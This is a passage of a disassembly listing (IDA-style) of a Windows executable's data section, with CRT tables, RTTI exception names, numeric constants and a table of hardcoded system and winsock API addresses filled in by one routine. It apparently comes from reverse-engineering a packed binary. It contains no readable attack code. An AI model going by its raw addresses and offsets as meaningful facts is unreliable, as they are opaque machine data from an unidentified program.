off_41FD78 dd offset word_41FD82 ; DATA XREF: sub_40C324+23r ; sub_40C324:loc_40C385r ... dd offset word_41FD82 db 2 dup(0) word_41FD82 dw 20h ; DATA XREF: sub_414993+18r ; .nsp0:off_41FD78o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_41FF84 dd 1 ; DATA XREF: sub_40C324:loc_40C32Cr ; sub_40C324:loc_40C370r ... byte_41FF88 db 2Eh ; DATA XREF: sub_40DF72:loc_40E266r ; sub_40DF72+311r ... align 4 dd 1 dword_41FF90 dd 1 ; DATA XREF: sub_411C26+Co dword_41FF94 dd 16h ; DATA XREF: sub_411C26:loc_411C5Br dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch byte_4200F8 db 1 ; DATA XREF: sub_411C26+19o ; sub_41203F+E1r db 2, 4, 8 align 10h dword_420100 dd 3A4h ; DATA XREF: sub_41203F+2Fo dword_420104 dd 82798260h, 21h, 0 ; DATA XREF: sub_41203F+11Dr dword_420110 dd 0DFA6h ; DATA XREF: sub_41203F+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_4201F0 dd 0C0000005h ; DATA XREF: sub_41203F+3Co ; sub_4128A6+Ar ... dword_4201F4 dd 0Bh ; DATA XREF: sub_415588+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_420268 dd 3 ; DATA XREF: sub_412765+58r ; sub_41545B+C8r dword_42026C dd 7 ; DATA XREF: sub_412765+5Er ; sub_41545B+CDr dword_420270 dd 0Ah ; DATA XREF: sub_4128A6+4r ; sub_415588+4r dword_420274 dd 8Ch ; DATA XREF: sub_412765+82r ; sub_412765+8Fw ... dword_420278 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_40D653:loc_40D710o ; sub_41176F:loc_4117F0o dword_420280 dd 2 ; DATA XREF: sub_41303D+Eo ; sub_41303D+28r off_420284 dd offset aR6002FloatingP ; DATA XREF: sub_41303D+FCr ; sub_41303D+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 417AB8h, 9, 417A8Ch, 0Ah, 417A68h, 10h, 417A3Ch dd 11h, 417A0Ch, 12h, 4179E8h, 13h, 4179BCh, 18h, 417984h dd 19h, 41795Ch, 1Ah, 417924h, 1Bh, 4178ECh, 1Ch, 4178C4h dd 78h, 4178B4h, 79h, 4178A4h, 7Ah, 417894h, 0FCh, 417890h dd 0FFh, 417880h off_420310 dd offset dword_47FC20 ; DATA XREF: sub_41303D+1Bo ; sub_4133A7+55o align 8 dd offset dword_47FC20 dd 101h dword_420320 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4133A7+72o dd 1000h, 0 dword_420330 dd 3 dup(0) ; DATA XREF: sub_40D653+50o ; sub_4124A9+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_420350 dd 3 dup(0) ; DATA XREF: sub_40D653+58o ; sub_4124A9:loc_4124C7o dd 2, 0FFFFFFFFh, 7 dup(0) dword_420380 dd 84h dup(0) ; DATA XREF: sub_4133A7+9Bo dword_420590 dd 2694h ; DATA XREF: sub_40FE24+3r ; sub_40FE77+46r ... align 8 dword_420598 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_413B1Co dword_4205B0 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_413B32o dword_4205C8 dd 7080h ; DATA XREF: sub_411D59+76r ; sub_414438+5Ew ... dword_4205CC dd 1 ; DATA XREF: sub_411D59+98r ; sub_414438+8Bw ... dword_4205D0 dd 0FFFFF1F0h ; DATA XREF: sub_411D59:loc_411E0Br ; sub_414438+94w ... dword_4205D4 dd 545350h, 0Fh dup(0) ; DATA XREF: .nsp0:off_420654o dword_420614 dd 544450h, 0Fh dup(0) ; DATA XREF: .nsp0:off_420658o off_420654 dd offset dword_4205D4 ; DATA XREF: sub_414438+BAr ; sub_414438+D9r ... off_420658 dd offset dword_420614 ; DATA XREF: sub_414438+F4r ; sub_414438+11Br ... align 10h dword_420660 dd 0FFFFFFFFh ; DATA XREF: sub_414438+1Dw ; sub_414696+1Er ... dword_420664 dd 0 ; DATA XREF: sub_414696:loc_4147CAr ; sub_414842+BFw dword_420668 dd 0 ; DATA XREF: sub_414696+192r ; sub_414842+E0w align 10h dword_420670 dd 0FFFFFFFFh ; DATA XREF: sub_414438+17w ; sub_414696+26r ... dword_420674 dd 0 ; DATA XREF: sub_414696+13Ar ; sub_414842+EAw ... dword_420678 dd 0 ; DATA XREF: sub_414696+1A1r ; sub_414842+23r ... dword_42067C dd 0FFFFFFFFh ; DATA XREF: sub_414842+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_4206AC dd 16Dh ; DATA XREF: sub_411D59+2Ar ; sub_414842+2Er ... dword_4206B0 dd 0FFFFFFFFh ; DATA XREF: sub_414842:loc_4148CEr dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_4206E8 dd 2 dup(0) ; DATA XREF: sub_4159B0+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_420848 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_4159B0+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_4209A8 dd offset off_417CA8 ; DATA XREF: .nsp0:off_417CD0o ; .nsp0:00417DFCo ... align 10h a_?avexception@ db '.?AVexception@@',0 off_4209C0 dd offset off_417CA8 ; DATA XREF: .nsp0:off_417CE8o ; .nsp0:00417D7Co ... align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h off_4209E0 dd offset off_417CA8 ; DATA XREF: .nsp0:off_417D00o ; .nsp0:00417D44o ... align 8 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_420A00 dd offset off_417CA8 ; DATA XREF: .nsp0:off_417D88o ; .nsp0:00417DCCo ... align 8 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h off_420A20 dd offset off_417CA8 ; DATA XREF: .nsp0:off_417E08o ; .nsp0:00417E44o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_413D3C align 10h dword_420A40 dd 0 ; DATA XREF: sub_4010CA+18r ; sub_401412+92w ... dword_420A44 dd 0 ; DATA XREF: sub_40154B+19Cr ; sub_401704+D9w ... dd 4AEh dup(0) dword_421D00 dd 6 dup(0) ; DATA XREF: sub_40154B+95o ; sub_401704+65o ... dword_421D18 dd 0 ; DATA XREF: sub_401141+82w ; sub_401141+FFo dword_421D1C dd 41h dup(0) ; DATA XREF: sub_401141+41o dword_421E20 dd 41h dup(0) ; DATA XREF: sub_401141+63o dword_421F24 dd 0 ; DATA XREF: sub_401141+F5w ; sub_401141+111r dword_421F28 dd 0 ; DATA XREF: sub_401141+52w dword_421F2C dd 0 ; DATA XREF: sub_401141+4Dw ; sub_401141+D2r dword_421F30 dd 20h dup(0) ; DATA XREF: sub_401141+9Ao ; sub_401141+B7o dword_421FB0 dd 0 ; DATA XREF: sub_401141+8Fw dword_421FB4 dd 0 ; DATA XREF: sub_401141+A4w ; sub_401141+C1w dword_421FB8 dd 0 ; DATA XREF: sub_401141:loc_401307r align 10h dword_421FC0 dd 0 ; DATA XREF: sub_401141+190w ; sub_401141+222o dword_421FC4 dd 41h dup(0) ; DATA XREF: sub_401141+152o dword_4220C8 dd 41h dup(0) ; DATA XREF: sub_401141+171o dword_4221CC dd 0 ; DATA XREF: sub_401141+218w ; sub_401141+234r dword_4221D0 dd 0 ; DATA XREF: sub_401141+160w dword_4221D4 dd 0 ; DATA XREF: sub_401141+1F5r dword_4221D8 dd 20h dup(0) ; DATA XREF: sub_401141+1A8o ; sub_401141+1DAo dword_422258 dd 0 ; DATA XREF: sub_401141+19Dw dword_42225C dd 0 ; DATA XREF: sub_401141+1B2w ; sub_401141+1E4w dword_422260 dd 0 ; DATA XREF: sub_401141:loc_4013C0r dword_422264 dd 2 dup(0) ; DATA XREF: sub_401FE1+68o dword_42226C dd 0 ; DATA XREF: sub_401A91+13o ; sub_406BAB+33BFo ... byte_422270 db 0 ; DATA XREF: sub_4022FD+10o ; sub_4032EE+438o ... align 8 dword_422278 dd 2400h dup(0) ; DATA XREF: sub_403145+1Do dword_42B278 dd 0Dh dup(0) ; DATA XREF: sub_403145+13o ; sub_403804+Fo dword_42B2AC dd 0 ; DATA XREF: sub_403B83+C8o dword_42B2B0 dd 0 ; DATA XREF: sub_4043F8+2Aw ; sub_4043F8+51r ... dword_42B2B4 dd 0 ; DATA XREF: sub_4023B8+45r ; sub_402E09+ACr ... dword_42B2B8 dd 77C72C6Bh ; DATA XREF: sub_4045F0+42Fw ; sub_4045F0+473r dword_42B2BC dd 77EBA994h ; DATA XREF: sub_4045F0+65w ; sub_405816+EEr dword_42B2C0 dd 7622A3F4h ; DATA XREF: sub_4045F0+786w ; sub_4045F0+7FBr ... dword_42B2C4 dd 71C45229h ; DATA XREF: sub_4045F0+910w ; sub_4045F0+96Er dword_42B2C8 dd 71C24870h ; DATA XREF: sub_4045F0+8C2w ; sub_4045F0+93Er dword_42B2CC dd 77C71BB0h ; DATA XREF: sub_4045F0+415w ; sub_4045F0+463r dword_42B2D0 dd 71C4502Ch ; DATA XREF: sub_4045F0+903w ; sub_4045F0+966r dword_42B2D4 dd 77DE801Bh ; DATA XREF: sub_4045F0+2FAw ; sub_4045F0+34Fr dword_42B2D8 dd 77DDACABh ; DATA XREF: sub_4045F0+397w ; sub_40A1F9+11Er dword_42B2DC dd 77DE8075h ; DATA XREF: sub_4045F0+307w ; sub_4045F0+357r dword_42B2E0 dd 77DD7496h ; DATA XREF: sub_4045F0+348w dword_42B2E4 dd 71AB1B7Bh ; DATA XREF: sub_4045F0+4E0w dword_42B2E8 dd 77E686CCh ; DATA XREF: sub_4038CB+1Br ; sub_4045F0+72w ... dword_42B2EC dd 71C2498Bh ; DATA XREF: sub_4045F0+8B5w ; sub_4045F0+931r dword_42B2F0 dd 77DDAB2Fh ; DATA XREF: sub_4045F0+32Ew ; sub_4045F0+36Fr dword_42B2F4 dd 7620E8C3h ; DATA XREF: sub_4045F0+7D4w ; sub_4045F0+827r dword_42B2F8 dd 77DD23D7h ; DATA XREF: sub_4045F0+24Bw ; sub_4045F0+27Cr dword_42B2FC dd 76214750h ; DATA XREF: sub_4032EE+3Ar ; sub_4045F0+7C7w ... dword_42B300 dd 77E6D75Bh ; DATA XREF: sub_4045F0+B3w dword_42B304 dd 7620BD61h ; DATA XREF: sub_4032EE+109r ; sub_4045F0+7E1w ... dword_42B308 dd 71AB60C9h ; DATA XREF: sub_4045F0+4D3w ; sub_4045F0+656r ... dword_42B30C dd 77EBA6E9h ; DATA XREF: sub_4045F0+58w ; sub_4045F0+CAr ... dword_42B310 dd 76F36EAAh ; DATA XREF: sub_4045F0+9BCw ; sub_4045F0+9C3r ... dword_42B314 dd 77E802FCh ; DATA XREF: sub_4045F0+A6w ; sub_4045F0+F2r dword_42B318 dd 77C75455h ; DATA XREF: sub_4045F0+408w ; sub_4045F0+45Br dword_42B31C dd 71AB12A7h ; DATA XREF: sub_4013CA+20r ; sub_4045F0+57Cw ... dword_42B320 dd 71C574FAh ; DATA XREF: sub_4045F0+8F6w ; sub_4045F0+95Er dword_42B324 dd 71AB1746h ; DATA XREF: sub_4045F0+56Fw ; sub_4045F0+6D2r dword_42B328 dd 71B28D0Dh ; DATA XREF: sub_4045F0+A77w dword_42B32C dd 762211EFh ; DATA XREF: sub_4045F0+779w ; sub_4045F0+7E8r dword_42B330 dd 77D902E3h ; DATA XREF: sub_4045F0+1B3w ; sub_4054A5+15r dword_42B334 dd 71C2FA86h ; DATA XREF: sub_4045F0+8CFw ; sub_4045F0+946r dword_42B338 dd 77DE1291h ; DATA XREF: sub_4045F0+314w ; sub_4045F0+35Fr dword_42B33C dd 77E2C1B3h ; DATA XREF: sub_4045F0+321w ; sub_4045F0+367r dword_42B340 dd 71ABF628h ; DATA XREF: sub_4045F0+632w dword_42B344 dd 71AB1836h ; DATA XREF: sub_4032EE+459r ; sub_403B83+1Dr ... dword_42B348 dd 77C72889h ; DATA XREF: sub_4045F0+43Cw dword_42B34C dd 71C453F8h ; DATA XREF: sub_4045F0+91Dw ; sub_4045F0+976r dword_42B350 dd 77DD5C55h ; DATA XREF: sub_4031BC+55r ; sub_4045F0+258w ... dword_42B354 dd 77E96645h ; DATA XREF: sub_403B00+25r ; sub_403B00+39r ... dword_42B358 dd 77428B97h ; DATA XREF: sub_4032EE+331r ; sub_4045F0+AC4w ... dword_42B35C dd 71AB41DAh ; DATA XREF: sub_4045F0+4B9w ; sub_4045F0+639r ... dword_42B360 dd 762059A3h ; DATA XREF: sub_4045F0+7A0w ; sub_4045F0+80Br dword_42B364 dd 71C4A1B4h ; DATA XREF: sub_4045F0+8DCw ; sub_4045F0+94Er dword_42B368 dd 1F7CD214h ; DATA XREF: sub_4045F0+B35w ; sub_4045F0+B66r dword_42B36C dd 1F7B9D96h ; DATA XREF: sub_4045F0+B4Fw dword_42B370 dd 71AB1740h ; DATA XREF: sub_4045F0+4FAw ; sub_4045F0+66Er ... dword_42B374 dd 7620AFB6h ; DATA XREF: sub_4045F0+7BAw ; sub_4045F0+7EEr dword_42B378 dd 77D45B19h ; DATA XREF: sub_4045F0+172w ; sub_4045F0+1C2r dword_42B37C dd 71AB157Eh ; DATA XREF: sub_4045F0+5FEw ; sub_4045F0+722r ... dword_42B380 dd 71AB3E5Dh ; DATA XREF: sub_4014AE+59r ; sub_4023B8+F4r ... dword_42B384 dd 71AB14DCh ; DATA XREF: sub_4045F0+4EDw ; sub_4045F0+662r dword_42B388 dd 0CC0004h ; DATA XREF: sub_4032EE+34r ; sub_4045F0+856w ... dword_42B38C dd 77DD590Bh ; DATA XREF: sub_4031BC+2Ar ; sub_4045F0+231w ... dword_42B390 dd 71ABD755h ; DATA XREF: sub_4045F0+625w ; sub_4045F0+73Ar ... dword_42B394 dd 77DF7311h ; DATA XREF: sub_4045F0+2B5w ; sub_4045F0+2C9r ... dword_42B398 dd 77DDA2AFh ; DATA XREF: sub_4045F0+33Bw ; sub_4045F0+377r dword_42B39C dd 1F7CD927h ; DATA XREF: sub_4045F0+B28w ; sub_4045F0+B5Er dword_42B3A0 dd 76206853h ; DATA XREF: sub_4045F0+793w ; sub_4045F0+803r dword_42B3A4 dd 77D5E310h ; DATA XREF: sub_4045F0+18Cw ; sub_4045F0+1D2r ... dword_42B3A8 dd 76206B7Fh ; DATA XREF: sub_4045F0+7ADw ; sub_4045F0+813r dword_42B3AC dd 71AB1444h ; DATA XREF: sub_4045F0+5AAw ; sub_4045F0+6F2r ... dword_42B3B0 dd 77DD189Ah ; DATA XREF: sub_4031BC+5Er ; sub_4045F0+265w dword_42B3B4 dd 71AB3F8Dh ; DATA XREF: sub_4045F0+5F1w ; sub_4045F0+71Ar dword_42B3B8 dd 77DD5D20h ; DATA XREF: sub_4045F0+2A8w ; sub_4045F0+2BCr ... dword_42B3BC dd 71AB1890h ; DATA XREF: sub_4014AE+82r ; sub_4045F0+5CAw ... dword_42B3C0 dd 77C76B34h ; DATA XREF: sub_4045F0+3D4w ; sub_4045F0+436r dword_42B3C4 dd 77D5E38Ch ; DATA XREF: sub_4045F0+199w ; sub_4045F0+1DAr ... dword_42B3C8 dd 77DDA20Bh ; DATA XREF: sub_4045F0+2EDw ; sub_4045F0+342r dword_42B3CC dd 76F36EEBh ; DATA XREF: sub_4045F0+9C9w dword_42B3D0 dd 71AB12A7h ; DATA XREF: sub_4013CA+2Br ; sub_401F9C+7r ... dword_42B3D4 dd 71AB1746h ; DATA XREF: sub_4014AE+38r ; sub_4023B8+D6r ... dword_42B3D8 dd 77EBA595h ; DATA XREF: sub_4045F0+4Bw ; sub_4045F0+C2r ... dword_42B3DC dd 77C7531Dh ; DATA XREF: sub_4045F0+3FBw ; sub_4045F0+453r dword_42B3E0 dd 77D4BDCAh ; DATA XREF: sub_4045F0+165w ; sub_4045F0+1BAr ... dword_42B3E4 dd 71C3516Ah ; DATA XREF: sub_4045F0+937w dword_42B3E8 dd 71AB32CAh ; DATA XREF: sub_4045F0+60Bw ; sub_4045F0+72Ar dword_42B3EC dd 71AB5690h ; DATA XREF: sub_401F1D+75r ; sub_402E09+79r ... dword_42B3F0 dd 1F7CB8F8h ; DATA XREF: sub_4045F0+B42w ; sub_4045F0+B6Er dword_42B3F4 dd 77EBB1E7h ; DATA XREF: sub_4045F0+3Ew ; sub_4045F0+BAr ... dword_42B3F8 dd 77DD59F0h ; DATA XREF: sub_4031BC+49r ; sub_4045F0+23Ew ... dword_42B3FC dd 71AB5DE2h ; DATA XREF: sub_4045F0+5D7w ; sub_4045F0+70Ar ... dword_42B400 dd 71AB3ECEh ; DATA XREF: sub_4045F0+5BDw ; sub_4045F0+6FAr ... dword_42B404 dd 76204E4Dh ; DATA XREF: sub_4032EE+4C9r ; sub_4045F0+7F4w dword_42B408 dd 0 ; DATA XREF: sub_4045F0+112w dword_42B40C dd 1F7D886Ah ; DATA XREF: sub_4045F0+B0Ew ; sub_4045F0+B49r dword_42B410 dd 71AB12F8h ; DATA XREF: sub_401704+2Cr ; sub_4023B8+E4r ... dword_42B414 dd 77C76551h ; DATA XREF: sub_4045F0+3E1w ; sub_4045F0+443r dword_42B418 dd 77C729E2h ; DATA XREF: sub_4045F0+422w ; sub_4045F0+46Br dword_42B41C dd 77C7212Fh ; DATA XREF: sub_4045F0+3EEw ; sub_4045F0+44Br dword_42B420 dd 71AB1AF4h ; DATA XREF: sub_401F9C+1Br ; sub_401F9C+35r ... dword_42B424 dd 77D5E303h ; DATA XREF: sub_4045F0+1A6w ; sub_4045F0+1E2r ... dword_42B428 dd 71C4576Ch ; DATA XREF: sub_4045F0+92Aw ; sub_4045F0+97Er dword_42B42C dd 77D4702Fh ; DATA XREF: sub_4045F0+158w ; sub_4045F0+1ADr ... dword_42B430 dd 77E6C0E3h ; DATA XREF: sub_403882+4r ; sub_4045F0+8Cw ... dword_42B434 dd 71AB1ED3h ; DATA XREF: sub_4045F0+596w ; sub_4045F0+6E2r ... dword_42B438 dd 71B2A381h ; DATA XREF: sub_4045F0+A6Aw ; sub_4045F0+A86r dword_42B43C dd 77DDA595h ; DATA XREF: sub_4045F0+2C2w ; sub_4057AB+55r dword_42B440 dd 77DD22EAh ; DATA XREF: sub_4045F0+224w ; sub_4045F0+25Fr dword_42B444 dd 773F97B0h ; DATA XREF: sub_4045F0+AD1w dword_42B448 dd 76D67A29h ; DATA XREF: sub_4045F0+A13w ; sub_405687+8Fr dword_42B44C dd 76D674FAh ; DATA XREF: sub_4045F0+A06w ; sub_4045F0+A0Dr ... dword_42B450 dd 71AB3C22h ; DATA XREF: sub_4014AE+18r ; sub_402E09+44r ... dword_42B454 dd 71AB2BBFh ; DATA XREF: sub_4045F0+618w ; sub_4045F0+732r ... dword_42B458 dd 1F7BA3A9h ; DATA XREF: sub_4045F0+B1Bw ; sub_4045F0+B56r dword_42B45C dd 71AB401Ch ; DATA XREF: sub_4010CA+1Fr ; sub_40154B+E1r ... dword_42B460 dd 71C214BAh ; DATA XREF: sub_4045F0+8E9w ; sub_4045F0+956r dword_42B464 dd 71AB868Dh ; DATA XREF: sub_4045F0+5E4w ; sub_4045F0+712r ... dword_42B468 dd 71AB1A6Dh ; DATA XREF: sub_4014AE+8Br ; sub_4023B8+185r ... dword_42B46C dd 71AB155Ah ; DATA XREF: sub_4014AE+4Cr ; sub_4045F0+521w ... dword_42B470 dd 71B22C25h ; DATA XREF: sub_4045F0+A5Dw ; sub_4045F0+A7Er dword_42B474 dd 71AB5A01h ; DATA XREF: sub_4045F0+4C6w ; sub_4045F0+64Ar dword_42B478 dd 71B2ACCBh ; DATA XREF: sub_4045F0+A50w ; sub_4045F0+A71r dword_42B47C dd 77E78C17h ; DATA XREF: sub_4045F0+31w ; sub_4045F0+ADr ... dword_42B480 dd 77D49A11h ; DATA XREF: sub_4045F0+17Fw ; sub_4045F0+1CAr dword_42B484 dd 77E6CBF9h ; DATA XREF: sub_4045F0+99w ; sub_4045F0+EAr ... dword_42B488 dd 0 ; DATA XREF: sub_4045F0:loc_4046EEw ; sub_4045F0+12Bw dword_42B48C dd 0 ; DATA XREF: sub_4045F0+126w dword_42B490 dd 0 ; DATA XREF: sub_4045F0:loc_4047EBw dword_42B494 dd 0 ; DATA XREF: sub_4045F0+1F6w dword_42B498 dd 0 ; DATA XREF: sub_4045F0:loc_404880w ; sub_4045F0:loc_4048C5w ... dword_42B49C dd 0 ; DATA XREF: sub_4045F0+3A6w dword_42B4A0 dd 0 ; DATA XREF: sub_4045F0:loc_404A7Cw dword_42B4A4 dd 0 ; DATA XREF: sub_4045F0+487w dword_42B4A8 dd 0 ; DATA XREF: sub_4045F0:loc_404D36w ; sub_4045F0+86Cw dword_42B4AC dd 0 ; DATA XREF: sub_4045F0+867w dword_42B4B0 dd 0 ; DATA XREF: sub_4045F0:loc_404E2Bw ; sub_4045F0+882w ... dword_42B4B4 dd 0 ; DATA XREF: sub_4045F0+87Dw align 10h dword_42B4C0 dd 0 ; DATA XREF: sub_4045F0:loc_404F83w dword_42B4C4 dd 0 ; DATA XREF: sub_4045F0+98Ew dword_42B4C8 dd 0 ; DATA XREF: sub_4045F0:loc_404FCDw dword_42B4CC dd 0 ; DATA XREF: sub_4045F0+9D8w dword_42B4D0 dd 0 ; DATA XREF: sub_4045F0:loc_405017w dword_42B4D4 dd 0 ; DATA XREF: sub_4045F0+A22w dword_42B4D8 dd 0 ; DATA XREF: sub_4045F0:loc_40508Bw dword_42B4DC dd 0 ; DATA XREF: sub_4045F0+A96w dword_42B4E0 dd 0 ; DATA XREF: sub_4045F0:loc_4050D5w dword_42B4E4 dd 0 ; DATA XREF: sub_4045F0+AE0w dword_42B4E8 dd 0 ; DATA XREF: sub_4045F0:loc_405173w dword_42B4EC dd 0 ; DATA XREF: sub_4045F0+B7Ew dd 2 dup(0) dword_42B4F8 dd 2B4h dup(0) ; DATA XREF: sub_4052BA+6Ao dword_42BFC8 dd 4 dup(0) ; DATA XREF: sub_405752+32o dword_42BFD8 dd 82h dup(0) ; DATA XREF: sub_406264+8Do dword_42C1E0 dd 0 ; DATA XREF: sub_40304D+Ao ; sub_40304D+44r ... dd 5 dup(0) dword_42C1F8 dd 0 ; DATA XREF: sub_40304D+60r ; sub_406BAB+87Cr dd 2D9h dup(0) dword_42CD60 dd 0 ; DATA XREF: sub_40154B+6Br ; sub_40304D+2Do ... dd 7Fh dup(0) dword_42CF60 dd 0 ; DATA XREF: sub_40AA54+4Cw ; sub_40AB8F+3Aw ... dword_42CF64 dd 0 ; DATA XREF: sub_40154B:loc_4016E1r ; sub_401704+12Cw ... dword_42CF68 dd 0 ; DATA XREF: sub_40AA54+45w ; sub_40AB8F+34r ... dword_42CF6C dd 0 ; DATA XREF: sub_403B83+Cr ; sub_405AD8+7Bw ... dword_42CF70 dd 0 ; DATA XREF: sub_405C55+11Ew ; sub_405E27+53r ... dword_42CF74 dd 0 ; DATA XREF: sub_401141+11Fw ; sub_401141+244w ... byte_42CF78 db 0 ; DATA XREF: sub_4068DA+91o ; sub_40AA54+59w ... align 4 dd 61F5h dup(0) dword_445750 dd 0E7FCh dup(0) ; DATA XREF: .nsp0:off_41B280o dword_47F740 dd 1Bh ; DATA XREF: sub_401000:loc_40106Er ; sub_406422+42w ... align 8 dword_47F748 dd 0 ; DATA XREF: sub_406422+3E4o dword_47F74C dd 20h dup(0) ; DATA XREF: sub_406422+391o dword_47F7CC dd 10h dup(0) ; DATA XREF: sub_406422+3A8o dword_47F80C dd 24h dup(0) ; DATA XREF: sub_406422+3BFo dword_47F89C dd 0 ; DATA XREF: sub_406422+3B3w ; sub_406422+437w ... dword_47F8A0 dd 0 ; DATA XREF: sub_406422+3D2w dd 2 dup(0) db 0 byte_47F8AD db 0 ; DATA XREF: sub_406A2F+28r ; sub_406A2F+30o align 10h dword_47F8B0 dd 0 ; DATA XREF: sub_406422:loc_4067FFw ; sub_406422+3F7r ... dword_47F8B4 dd 0 ; DATA XREF: sub_406422+38Aw ; sub_406BAB+7EFr dword_47F8B8 dd 0Eh dup(0) ; DATA XREF: sub_40A0F0+3Eo dword_47F8F0 dd 0 ; DATA XREF: sub_40B8A9+Aw align 8 dword_47F8F8 dd 0 ; DATA XREF: sub_40CC92+5Er ; sub_40CC92+A4w align 10h word_47F900 dw 0 ; DATA XREF: sub_40CC92+55r ; sub_40CC92+9Ao word_47F902 dw 0 ; DATA XREF: sub_40CC92+48r db 2 dup(0) word_47F906 dw 0 ; DATA XREF: sub_40CC92+3Br word_47F908 dw 0 ; DATA XREF: sub_40CC92+2Er word_47F90A dw 0 ; DATA XREF: sub_40CC92+21r align 10h dword_47F910 dd 0 ; DATA XREF: sub_40D07C+3Br ; sub_40D07C+91w dword_47F914 dd 